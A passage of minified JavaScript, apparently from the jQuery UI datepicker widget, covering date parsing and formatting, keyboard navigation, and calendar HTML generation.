2===arguments.length&&"string"==typeof i?"defaults"===i?e.extend({},e.datepicker._defaults):l?"all"===i?e.extend({},l.settings):this._get(l,i):null:(n=i||{},"string"==typeof i&&(n={},n[i]=s),l&&(this._curInst===l&&this._hideDatepicker(),a=this._getDateDatepicker(t,!0),o=this._getMinMaxDate(l,"min"),h=this._getMinMaxDate(l,"max"),r(l.settings,n),null!==o&&void 0!==n.dateFormat&&void 0===n.minDate&&(l.settings.minDate=this._formatDate(l,o)),null!==h&&void 0!==n.dateFormat&&void 0===n.maxDate&&(l.settings.maxDate=this._formatDate(l,h)),"disabled"in n&&(n.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(e(t),l),this._autoSize(l),this._setDate(l,a),this._updateAlternate(l),this._updateDatepicker(l)),void 0)},_changeDatepicker:function(e,t,i){this._optionDatepicker(e,t,i)},_refreshDatepicker:function(e){var t=this._getInst(e);t&&this._updateDatepicker(t)},_setDateDatepicker:function(e,t){var i=this._getInst(e);i&&(this._setDate(i,t),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(e,t){var i=this._getInst(e);return i&&!i.inline&&this._setDateFromField(i,t),i?this._getDate(i):null},_doKeyDown:function(t){var i,s,n,a=e.datepicker._getInst(t.target),o=!0,r=a.dpDiv.is(".ui-datepicker-rtl");if(a._keyEvent=!0,e.datepicker._datepickerShowing)switch(t.keyCode){case 9:e.datepicker._hideDatepicker(),o=!1;break;case 13:return n=e("td."+e.datepicker._dayOverClass+":not(."+e.datepicker._currentClass+")",a.dpDiv),n[0]&&e.datepicker._selectDay(t.target,a.selectedMonth,a.selectedYear,n[0]),i=e.datepicker._get(a,"onSelect"),i?(s=e.datepicker._formatDate(a),i.apply(a.input?a.input[0]:null,[s,a])):e.datepicker._hideDatepicker(),!1;case 27:e.datepicker._hideDatepicker();break;case 33:e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(a,"stepBigMonths"):-e.datepicker._get(a,"stepMonths"),"M");break;case 34:e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(a,"stepBigMonths"):+e.datepicker._get(a,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&e.datepicker._clearDate(t.target),o=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&e.datepicker._gotoToday(t.target),o=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,r?1:-1,"D"),o=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(a,"stepBigMonths"):-e.datepicker._get(a,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,-7,"D"),o=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,r?-1:1,"D"),o=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(a,"stepBigMonths"):+e.datepicker._get(a,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,7,"D"),o=t.ctrlKey||t.metaKey;break;default:o=!1}else 36===t.keyCode&&t.ctrlKey?e.datepicker._showDatepicker(this):o=!1;o&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var i,s,n=e.datepicker._getInst(t.target);return e.datepicker._get(n,"constrainInput")?(i=e.datepicker._possibleChars(e.datepicker._get(n,"dateFormat")),s=String.fromCharCode(null==t.charCode?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||" ">s||!i||i.indexOf(s)>-1):void 0
},_doKeyUp:function(t){var i,s=e.datepicker._getInst(t.target);if(s.input.val()!==s.lastVal)try{i=e.datepicker.parseDate(e.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,e.datepicker._getFormatConfig(s)),i&&(e.datepicker._setDateFromField(s),e.datepicker._updateAlternate(s),e.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(t){if(t=t.target||t,"input"!==t.nodeName.toLowerCase()&&(t=e("input",t.parentNode)[0]),!e.datepicker._isDisabledDatepicker(t)&&e.datepicker._lastInput!==t){var i,n,a,o,h,l,u;i=e.datepicker._getInst(t),e.datepicker._curInst&&e.datepicker._curInst!==i&&(e.datepicker._curInst.dpDiv.stop(!0,!0),i&&e.datepicker._datepickerShowing&&e.datepicker._hideDatepicker(e.datepicker._curInst.input[0])),n=e.datepicker._get(i,"beforeShow"),a=n?n.apply(t,[t,i]):{},a!==!1&&(r(i.settings,a),i.lastVal=null,e.datepicker._lastInput=t,e.datepicker._setDateFromField(i),e.datepicker._inDialog&&(t.value=""),e.datepicker._pos||(e.datepicker._pos=e.datepicker._findPos(t),e.datepicker._pos[1]+=t.offsetHeight),o=!1,e(t).parents().each(function(){return o|="fixed"===e(this).css("position"),!o}),h={left:e.datepicker._pos[0],top:e.datepicker._pos[1]},e.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),e.datepicker._updateDatepicker(i),h=e.datepicker._checkOffset(i,h,o),i.dpDiv.css({position:e.datepicker._inDialog&&e.blockUI?"static":o?"fixed":"absolute",display:"none",left:h.left+"px",top:h.top+"px"}),i.inline||(l=e.datepicker._get(i,"showAnim"),u=e.datepicker._get(i,"duration"),i.dpDiv.css("z-index",s(e(t))+1),e.datepicker._datepickerShowing=!0,e.effects&&e.effects.effect[l]?i.dpDiv.show(l,e.datepicker._get(i,"showOptions"),u):i.dpDiv[l||"show"](l?u:null),e.datepicker._shouldFocusInput(i)&&i.input.focus(),e.datepicker._curInst=i))}},_updateDatepicker:function(t){this.maxRows=4,v=t,t.dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t);var i,s=this._getNumberOfMonths(t),n=s[1],a=17,r=t.dpDiv.find("."+this._dayOverClass+" a");r.length>0&&o.apply(r.get(0)),t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),n>1&&t.dpDiv.addClass("ui-datepicker-multi-"+n).css("width",a*n+"em"),t.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),t===e.datepicker._curInst&&e.datepicker._datepickerShowing&&e.datepicker._shouldFocusInput(t)&&t.input.focus(),t.yearshtml&&(i=t.yearshtml,setTimeout(function(){i===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year:first").replaceWith(t.yearshtml),i=t.yearshtml=null},0))},_shouldFocusInput:function(e){return e.input&&e.input.is(":visible")&&!e.input.is(":disabled")&&!e.input.is(":focus")},_checkOffset:function(t,i,s){var n=t.dpDiv.outerWidth(),a=t.dpDiv.outerHeight(),o=t.input?t.input.outerWidth():0,r=t.input?t.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:e(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:e(document).scrollTop());return i.left-=this._get(t,"isRTL")?n-o:0,i.left-=s&&i.left===t.input.offset().left?e(document).scrollLeft():0,i.top-=s&&i.top===t.input.offset().top+r?e(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+a>l&&l>a?Math.abs(a+r):0),i},_findPos:function(t){for(var i,s=this._getInst(t),n=this._get(s,"isRTL");t&&("hidden"===t.type||1!==t.nodeType||e.expr.filters.hidden(t));)t=t[n?"previousSibling":"nextSibling"];return i=e(t).offset(),[i.left,i.top]},_hideDatepicker:function(t){var i,s,n,a,o=this._curInst;!o||t&&o!==e.data(t,"datepicker")||this._datepickerShowing&&(i=this._get(o,"showAnim"),s=this._get(o,"duration"),n=function(){e.datepicker._tidyDialog(o)},e.effects&&(e.effects.effect[i]||e.effects[i])?o.dpDiv.hide(i,e.datepicker._get(o,"showOptions"),s,n):o.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,n),i||n(),this._datepickerShowing=!1,a=this._get(o,"onClose"),a&&a.apply(o.input?o.input[0]:null,[o.input?o.input.val():"",o]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),e.blockUI&&(e.unblockUI(),e("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(t){if(e.datepicker._curInst){var i=e(t.target),s=e.datepicker._getInst(i[0]);(i[0].id!==e.datepicker._mainDivId&&0===i.parents("#"+e.datepicker._mainDivId).length&&!i.hasClass(e.datepicker.markerClassName)&&!i.closest("."+e.datepicker._triggerClass).length&&e.datepicker._datepickerShowing&&(!e.datepicker._inDialog||!e.blockUI)||i.hasClass(e.datepicker.markerClassName)&&e.datepicker._curInst!==s)&&e.datepicker._hideDatepicker()}},_adjustDate:function(t,i,s){var n=e(t),a=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(a,i+("M"===s?this._get(a,"showCurrentAtPos"):0),s),this._updateDatepicker(a))},_gotoToday:function(t){var i,s=e(t),n=this._getInst(s[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(t,i,s){var n=e(t),a=this._getInst(n[0]);a["selected"+("M"===s?"Month":"Year")]=a["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(a),this._adjustDate(n)},_selectDay:function(t,i,s,n){var a,o=e(t);e(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(o[0])||(a=this._getInst(o[0]),a.selectedDay=a.currentDay=e("a",n).html(),a.selectedMonth=a.currentMonth=i,a.selectedYear=a.currentYear=s,this._selectDate(t,this._formatDate(a,a.currentDay,a.currentMonth,a.currentYear)))},_clearDate:function(t){var i=e(t);this._selectDate(i,"")},_selectDate:function(t,i){var s,n=e(t),a=this._getInst(n[0]);i=null!=i?i:this._formatDate(a),a.input&&a.input.val(i),this._updateAlternate(a),s=this._get(a,"onSelect"),s?s.apply(a.input?a.input[0]:null,[i,a]):a.input&&a.input.trigger("change"),a.inline?this._updateDatepicker(a):(this._hideDatepicker(),this._lastInput=a.input[0],"object"!=typeof a.input[0]&&a.input.focus(),this._lastInput=null)},_updateAlternate:function(t){var i,s,n,a=this._get(t,"altField");a&&(i=this._get(t,"altFormat")||this._get(t,"dateFormat"),s=this._getDate(t),n=this.formatDate(i,s,this._getFormatConfig(t)),e(a).each(function(){e(this).val(n)}))},noWeekends:function(e){var t=e.getDay();return[t>0&&6>t,""]},iso8601Week:function(e){var t,i=new Date(e.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),t=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((t-i)/864e5)/7)+1},parseDate:function(t,i,s){if(null==t||null==i)throw"Invalid arguments";if(i="object"==typeof i?""+i:i+"",""===i)return null;var n,a,o,r,h=0,l=(s?s.shortYearCutoff:null)||this._defaults.shortYearCutoff,u="string"!=typeof l?l:(new Date).getFullYear()%100+parseInt(l,10),d=(s?s.dayNamesShort:null)||this._defaults.dayNamesShort,c=(s?s.dayNames:null)||this._defaults.dayNames,p=(s?s.monthNamesShort:null)||this._defaults.monthNamesShort,f=(s?s.monthNames:null)||this._defaults.monthNames,m=-1,g=-1,v=-1,y=-1,b=!1,_=function(e){var i=t.length>n+1&&t.charAt(n+1)===e;return i&&n++,i},x=function(e){var t=_(e),s="@"===e?14:"!"===e?20:"y"===e&&t?4:"o"===e?3:2,n="y"===e?s:1,a=RegExp("^\\d{"+n+","+s+"}"),o=i.substring(h).match(a);if(!o)throw"Missing number at position "+h;return h+=o[0].length,parseInt(o[0],10)},w=function(t,s,n){var a=-1,o=e.map(_(t)?n:s,function(e,t){return[[t,e]]}).sort(function(e,t){return-(e[1].length-t[1].length)});if(e.each(o,function(e,t){var s=t[1];return i.substr(h,s.length).toLowerCase()===s.toLowerCase()?(a=t[0],h+=s.length,!1):void 0}),-1!==a)return a+1;throw"Unknown name at position "+h},k=function(){if(i.charAt(h)!==t.charAt(n))throw"Unexpected literal at position "+h;h++};for(n=0;t.length>n;n++)if(b)"'"!==t.charAt(n)||_("'")?k():b=!1;else switch(t.charAt(n)){case"d":v=x("d");break;case"D":w("D",d,c);break;case"o":y=x("o");break;case"m":g=x("m");break;case"M":g=w("M",p,f);break;case"y":m=x("y");break;case"@":r=new Date(x("@")),m=r.getFullYear(),g=r.getMonth()+1,v=r.getDate();break;case"!":r=new Date((x("!")-this._ticksTo1970)/1e4),m=r.getFullYear(),g=r.getMonth()+1,v=r.getDate();break;case"'":_("'")?k():b=!0;break;default:k()}if(i.length>h&&(o=i.substr(h),!/^\s+/.test(o)))throw"Extra/unparsed characters found in date: "+o;if(-1===m?m=(new Date).getFullYear():100>m&&(m+=(new Date).getFullYear()-(new Date).getFullYear()%100+(u>=m?0:-100)),y>-1)for(g=1,v=y;;){if(a=this._getDaysInMonth(m,g-1),a>=v)break;g++,v-=a}if(r=this._daylightSavingAdjust(new Date(m,g-1,v)),r.getFullYear()!==m||r.getMonth()+1!==g||r.getDate()!==v)throw"Invalid date";return r},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(e,t,i){if(!t)return"";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,a=(i?i.dayNames:null)||this._defaults.dayNames,o=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,r=(i?i.monthNames:null)||this._defaults.monthNames,h=function(t){var i=e.length>s+1&&e.charAt(s+1)===t;return i&&s++,i},l=function(e,t,i){var s=""+t;if(h(e))for(;i>s.length;)s="0"+s;return s},u=function(e,t,i,s){return h(e)?s[t]:i[t]},d="",c=!1;if(t)for(s=0;e.length>s;s++)if(c)"'"!==e.charAt(s)||h("'")?d+=e.charAt(s):c=!1;else switch(e.charAt(s)){case"d":d+=l("d",t.getDate(),2);break;case"D":d+=u("D",t.getDay(),n,a);break;case"o":d+=l("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":d+=l("m",t.getMonth()+1,2);break;case"M":d+=u("M",t.getMonth(),o,r);break;case"y":d+=h("y")?t.getFullYear():(10>t.getYear()%100?"0":"")+t.getYear()%100;break;case"@":d+=t.getTime();break;case"!":d+=1e4*t.getTime()+this._ticksTo1970;break;case"'":h("'")?d+="'":c=!0;break;default:d+=e.charAt(s)}return d},_possibleChars:function(e){var t,i="",s=!1,n=function(i){var s=e.length>t+1&&e.charAt(t+1)===i;return s&&t++,s};for(t=0;e.length>t;t++)if(s)"'"!==e.charAt(t)||n("'")?i+=e.charAt(t):s=!1;else switch(e.charAt(t)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":n("'")?i+="'":s=!0;break;default:i+=e.charAt(t)}return i},_get:function(e,t){return void 0!==e.settings[t]?e.settings[t]:this._defaults[t]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var i=this._get(e,"dateFormat"),s=e.lastVal=e.input?e.input.val():null,n=this._getDefaultDate(e),a=n,o=this._getFormatConfig(e);try{a=this.parseDate(i,s,o)||n}catch(r){s=t?"":s}e.selectedDay=a.getDate(),e.drawMonth=e.selectedMonth=a.getMonth(),e.drawYear=e.selectedYear=a.getFullYear(),e.currentDay=s?a.getDate():0,e.currentMonth=s?a.getMonth():0,e.currentYear=s?a.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,"defaultDate"),new Date))},_determineDate:function(t,i,s){var n=function(e){var t=new Date;return t.setDate(t.getDate()+e),t},a=function(i){try{return e.datepicker.parseDate(e.datepicker._get(t,"dateFormat"),i,e.datepicker._getFormatConfig(t))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?e.datepicker._getDate(t):null)||new Date,a=n.getFullYear(),o=n.getMonth(),r=n.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":r+=parseInt(l[1],10);break;case"w":case"W":r+=7*parseInt(l[1],10);break;case"m":case"M":o+=parseInt(l[1],10),r=Math.min(r,e.datepicker._getDaysInMonth(a,o));break;case"y":case"Y":a+=parseInt(l[1],10),r=Math.min(r,e.datepicker._getDaysInMonth(a,o))}l=h.exec(i)}return new Date(a,o,r)},o=null==i||""===i?s:"string"==typeof i?a(i):"number"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return o=o&&"Invalid Date"==""+o?s:o,o&&(o.setHours(0),o.setMinutes(0),o.setSeconds(0),o.setMilliseconds(0)),this._daylightSavingAdjust(o)},_daylightSavingAdjust:function(e){return e?(e.setHours(e.getHours()>12?e.getHours()+2:0),e):null},_setDate:function(e,t,i){var s=!t,n=e.selectedMonth,a=e.selectedYear,o=this._restrictMinMax(e,this._determineDate(e,t,new Date));e.selectedDay=e.currentDay=o.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=o.getMonth(),e.drawYear=e.selectedYear=e.currentYear=o.getFullYear(),n===e.selectedMonth&&a===e.selectedYear||i||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(s?"":this._formatDate(e))},_getDate:function(e){var t=!e.currentYear||e.input&&""===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return t},_attachHandlers:function(t){var i=this._get(t,"stepMonths"),s="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map(function(){var t={prev:function(){e.datepicker._adjustDate(s,-i,"M")},next:function(){e.datepicker._adjustDate(s,+i,"M")},hide:function(){e.datepicker._hideDatepicker()},today:function(){e.datepicker._gotoToday(s)},selectDay:function(){return e.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return e.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return e.datepicker._selectMonthYear(s,this,"Y"),!1}};e(this).bind(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])})},_generateHTML:function(e){var t,i,s,n,a,o,r,h,l,u,d,c,p,f,m,g,v,y,b,_,x,w,k,T,D,S,M,C,N,A,P,I,z,H,F,E,O,j,W,L=new Date,R=this._daylightSavingAdjust(new Date(L.getFullYear(),L.getMonth(),L.getDate())),Y=this._get(e,"isRTL"),B=this._get(e,"showButtonPanel"),J=this._get(e,"hideIfNoPrevNext"),q=this._get(e,"navigationAsDateFormat"),K=this._getNumberOfMonths(e),V=this._get(e,"showCurrentAtPos"),U=this._get(e,"stepMonths"),Q=1!==K[0]||1!==K[1],G=this._daylightSavingAdjust(e.currentDay?new Date(e.currentYear,e.currentMonth,e.currentDay):new Date(9999,9,9)),X=this._getMinMaxDate(e,"min"),$=this._getMinMaxDate(e,"max"),Z=e.drawMonth-V,et=e.drawYear;if(0>Z&&(Z+=12,et--),$)for(t=this._daylightSavingAdjust(new Date($.getFullYear(),$.getMonth()-K[0]*K[1]+1,$.getDate())),t=X&&X>t?X:t;this._daylightSavingAdjust(new Date(et,Z,1))>t;)Z--,0>Z&&(Z=11,et--);for(e.drawMonth=Z,e.drawYear=et,i=this._get(e,"prevText"),i=q?this.formatDate(i,this._daylightSavingAdjust(new Date(et,Z-U,1)),this._getFormatConfig(e)):i,s=this._canAdjustMonth(e,-1,et,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":J?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",n=this._get(e,"nextText"),n=q?this.formatDate(n,this._daylightSavingAdjust(new Date(et,Z+U,1)),this._getFormatConfig(e)):n,a=this._canAdjustMonth(e,1,et,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>":J?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>",o=this._get(e,"currentText"),r=this._get(e,"gotoCurrent")&&e.currentDay?G:R,o=q?this.formatDate(o,r,this._getFormatConfig(e)):o,h=e.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(e,"closeText")+"</button>",l=B?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(e,r)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+o+"</button>":"")+(Y?"":h)+"</div>":"",u=parseInt(this._get(e,"firstDay"),10),u=isNaN(u)?0:u,d=this._get(e,"showWeek"),c=this._get(e,"dayNames"),p=this._get(e,"dayNamesMin"),f=this._get(e,"monthNames"),m=this._get(e,"monthNamesShort"),g=this._get(e,"beforeShowDay"),v=this._get(e,"showOtherMonths"),y=this._get(e,"selectOtherMonths"),b=this._getDefaultDate(e),_="",w=0;K[0]>w;w++){for(k="",this.maxRows=4,T=0;K[1]>T;T++){if(D=this._daylightSavingAdjust(new Date(et,Z,e.selectedDay)),S=" ui-corner-all",M="",Q){if(M+="<div class='ui-datepicker-group",K[1]>1)switch(T){case 0:M+=" ui-datepicker-group-first",S=" ui-corner-"+(Y?"right":"left");break;case K[1]-1:M+=" ui-datepicker-group-last",S=" ui-corner-"+(Y?"left":"right");break;default:M+=" ui-datepicker-group-middle",S=""}M+="'>"}for(M+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+S+"'>"+(/all|left/.test(S)&&0===w?Y?a:s:"")+(/all|right/.test(S)&&0===w?Y?s:a:"")+this._generateMonthYearHeader(e,Z,et,X,$,w>0||T>0,f,m)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",C=d?"<th class='ui-datepicker-week-col'>"+this._get(e,"weekHeader")+"</th>":"",x=0;7>x;x++)N=(x+u)%7,C+="<th scope='col'"+((x+u+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+c[N]+"'>"+p[N]+"</span></th>";for(M+=C+"</tr></thead><tbody>",A=this._getDaysInMonth(et,Z),et===e.selectedYear&&Z===e.selectedMonth&&(e.selectedDay=Math.min(e.selectedDay,A)),P=(this._getFirstDayOfMonth(et,Z)-u+7)%7,I=Math.ceil((P+A)/7),z=Q?this.maxRows>I?this.maxRows:I:I,this.maxRows=z,H=this._daylightSavingAdjust(new Date(et,Z,1-P)),F=0;z>F;F++){for(M+="<tr>",E=d?"<td class='ui-datepicker-week-col'>"+this._get(e,"calculateWeek")(H)+"</td>":"",x=0;7>x;x++)O=g?g.apply(e.input?e.input[0]:null,[H]):[!0,""],j=H.getMonth()!==Z,W=j&&!y||!O[0]||X&&X>H||$&&H>$,E+="<td class='"+((x+u+6)%7>=5?" ui-datepicker-week-end":"")+(j?" ui-datepicker-other-month":"")+(H.getTime()===D.getTime()&&Z===e.selectedMonth&&e._keyEvent||b.getTime()===H.getTime()&&b.getTime()===D.getTime()?" "+this._dayOverClass:"")+(W?" "+this._unselectableClass+" ui-state-disabled":"")+(j&&!v?"":" "+O[1]+(H.getTime()===G.getTime()?" "+this._currentClass:"")+(H.getTime()===R.getTime()?" ui-datepicker-today":""))+"'"+(j&&!v||!O[2]?"":" title='"+O[2].replace(/'/g,"&#39;")+"'")+(W?"":" data-handler='selectDay' data-event='click' data-month='"+H.getMonth()+"' data-year='"+H.getFullYear()+"'")+">"+(j&&!v?"&#xa0;":W?"<span class='ui-state-default'>"+H.getDate()+"</span>":"<a class='ui-state-default"+(H.getTime()===R.getTime()?" ui-state-highlight":"")+(H.getTime()===G.getTime()?" ui-state-active":"")+(j?" ui-priority-secondary":"")+"' href='#'>"+H.getDate()+"</a>")+"</td>",H.setDate(H.getDate()+1),H=this._daylightSavingAdjust(H);M+=E+"</tr>"}Z++,Z>11&&(Z=0,et++),M+="</tbody></table>"+(Q?"</div>"+(K[0]>0&&T===K[1]-1?"<div class='ui-datepicker-row-break'></div>":""):""),k+=M}_+=k}return _+=l,e._keyEvent=!1,_},_generateMonthYearHeader:function(e,t,i,s,n,a,o,r){var h,l,u,d,c,p,f,m,g=this._get(e,"changeMonth"),v=this._get(e,"changeYear"),y=this._get(e,"showMonthAfterYear"),b="<div class='ui-datepicker-title'>",_="";if(a||!g)_+="<span class='ui-datepicker-month'>"+o[t]+"</span>";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,_+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",u=0;12>u;u++)(!h||u>=s.getMonth())&&(!l||n.getMonth()>=u)&&(_+="<option value='"+u+"'"+(u===t?" selected='selected'":"")+">"+r[u]+"</option>");_+="</select>"}if(y||(b+=_+(!a&&g&&v?"":"&#xa0;")),!e.yearshtml)if(e.yearshtml="",a||!v)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(d=this._get(e,"yearRange").split(":"),c=(new Date).getFullYear(),p=function(e){var t=e.match(/c[+\-].*/)?i+parseInt(e.substring(1),10):e.match(/[+\-].*/)?c+parseInt(e,10):parseInt(e,10);return isNaN(t)?c:t},f=p(d[0]),m=Math.max(f,p(d[1]||"")),f=s?Math.max(f,s.getFullYear()):f,m=n?Math.min(m,n.getFullYear()):m,e.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";m>=f;f++)e.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";e.yearshtml+="</select>",b+=e.yearshtml,e.yearshtml=null}return b+=this._get(e,"yearSuffix"),y&&(b+=(!a&&g&&v?"":"&#xa0;")+_),b+="</div>"},_adjustInstDate:function(e,t,i){var s=e.drawYear+("Y"===i?t:0),n=e.drawMonth+("M"===i?t:0),a=Math.min(e.selectedDay,this._getDaysInMonth(s,n))+("D"===i?t:0),o=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(s,n,a)));e.selectedDay=o.getDate(),e.drawMonth=e.selectedMonth=o.getMonth(),e.drawYear=e.selectedYear=o.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(e)},_restrictMinMax:function(e,t){var i=this._getMinMaxDate(e,"min"),s=this._getMinMaxDate(e,"max"),n=i&&i>t?i:t;return s&&n>s?s:n},_notifyChange:function(e){var t=this._get(e,"onChangeMonthYear");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){var t=this._get(e,"numberOfMonths");return null==t?[1,1]:"number"==typeof t?[1,t]:t},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+"Date"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,i,s){var n=this._getNumberOfMonths(e),a=this._daylightSavingAdjust(new Date(i,s+(0>t?t:n[0]*n[1]),1));return 0>t&&a.setDate(this._getDaysInMonth(a.getFullYear(),a.getMonth())),this._isInRange(e,a)},_isInRange:function(e,t){var i,s,n=this._getMinMaxDate(e,"min"),a=this._getMinMaxDate(e,"max"),o=null,r=null,h=this._get(e,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),o=parseInt(i[0],10),r=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(o+=s),i[1].match(/[+\-].*/)&&(r+=s)),(!n||t.getTime()>=n.getTime())&&(!a||t.getTime()<=a.getTime())&&(!o||t.getFullYear()>=o)&&(!r||r>=t.getFullYear())},_getFormatConfig:function(e){var t=this._get(e,"shortYearCutoff");return t="string"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),{shortYearCutoff:t,dayNamesShort:this._get(e,"dayNamesShort"),dayNames:this._get(e,"dayNames"),monthNamesShort:this._get(e,"monthNamesShort"),monthNames:this._get(e,"monthNames")}},_formatDate:function(e,t,i,s){t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear);var n=t?"object"==typeof t?t:this._daylightSavingAdjust(new Date(s,i,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return this.formatDate(this._get(e,"dateFormat"),n,this._getFormatConfig(e))}}),e.fn.datepicker=function(t){if(!this.length)return this;e.datepicker.initialized||(e(document).mousedown(e.datepicker._checkExternalClick),e.datepicker.initialized=!0),0===e("#"+e.datepicker._mainDivId).length&&e("body").append(e.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof 